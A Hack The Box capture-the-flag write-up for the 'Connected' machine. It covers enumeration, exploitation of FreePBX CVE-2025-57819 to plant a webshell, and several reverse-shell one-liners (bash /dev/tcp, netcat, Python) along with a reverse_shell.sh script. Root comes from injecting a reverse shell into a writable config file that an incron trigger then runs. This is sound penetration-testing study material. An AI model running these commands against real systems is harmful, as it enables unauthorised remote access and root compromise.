HTB: Connected - Staff Pick

📋 Table of Contents

Enumeration
Exploitation - CVE-2025-57819
Reverse Shell
Privilege Escalation
Flags
Repository Structure
Scripts and Tools Used
Attack Summary
Resources and Credits
Additional Notes

1. Enumeration

1.1 Port Scanning with Nmap

nmap -sV 10.129.81.130

Results:

PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16

1.2 Add the Domain to `/etc/hosts`

echo "10.129.81.130 connected.htb" >> /etc/hosts

1.3 Directory Fuzzing with Gobuster

gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Key findings:

/admin - FreePBX administration panel
/ucp - User Control Panel
/robots.txt - Robots file

2. Exploitation - CVE-2025-57819

2.1 Download the Exploit

Clone the WatchTowr Labs repository:

git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

2.2 Run the Exploit

python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

Expected output:

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname

2.3 Verify the Webshell

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"

Result:

asterisk

3. Reverse Shell

3.1 Start a Listener on Kali

nc -lvnp 4444

3.2 Inject the Reverse Shell

Encoded version:

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"

Note: Replace 10.10.14.234 with your VPN IP.

3.3 Alternatives

Netcat

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"

Python

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"

3.4 Obtained Shell

listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$

4. Privilege Escalation

4.1 Find Writable Configuration Files

find /etc -name "*.conf" -writable 2>/dev/null

Key result:

/etc/dahdi/init.conf

4.2 Check `incron.d`

cat /etc/incron.d/*

Relevant entry:

/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

4.3 Add the Reverse Shell to `init.conf`

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf

4.4 Start the Root Shell Listener

nc -lvnp 4545

4.5 Trigger the Service Restart

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

4.6 Root Shell Obtained

connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#

4.7 Verify Root Access

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

5. Flags

5.1 User Flag

cat /home/asterisk/user.txt

HTB{...user_flag...}

5.2 Root Flag

cat /root/root.txt

HTB{...root_flag...}

Flags are intentionally omitted from this repository.

6. Repository Structure

htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/

7. Scripts and Tools Used

7.1 Reverse Shell Script

File: payloads/reverse_shell.sh

#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0 <IP> <PORT>"
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"

7.2 Enumeration Commands

File: scans/nmap_scan.txt

# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130

7.3 Fuzzing Commands

File: scans/gobuster_results.txt

# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak

8. Attack Summary

9. Resources and Credits

Original Writeup: CyberSaif
WatchTowr Labs Exploit: GitHub
CVE-2025-57819: SentinelOne
FreePBX Security Advisory: GitHub

10. Additional Notes

10.1 If the Webshell Is Not Created

Wait the full two minutes; the exploit requires time to create the artifact.
Verify connectivity:

curl -k https://connected.htb

10.2 If the Listener Does Not Work

Check your VPN interface:

ip addr show tun0

Try another listening port if necessary:

4445
8080
1234

10.3 Key Files on the Target

/etc/dahdi/init.conf - Writable configuration file used during privilege escalation
/etc/incron.d/ - incron configuration directory
/var/spool/asterisk/sysadmin/dahdi_restart - Trigger used to execute the restart action
/var/www/html/ - Web server document root

🏁 Conclusion

Connected has been successfully completed. ✅

The attack chain demonstrates how an exposed FreePBX instance can lead to initial access through CVE-2025-57819, followed by privilege escalation through a writable configuration file and an incron-based trigger.

1	Nmap	Ports 22, 80, and 443 open
2	Gobuster	`/admin`, `/ucp`, `/robots.txt` discovered
3	CVE-2025-57819	Webshell as `asterisk`
4	Reverse Shell	Interactive shell as `asterisk`
5	Privilege Escalation	`incron.d` → `dahdi_restart` → `init.conf`
6	Root	Root shell obtained

Most Popular

htb-labs-connected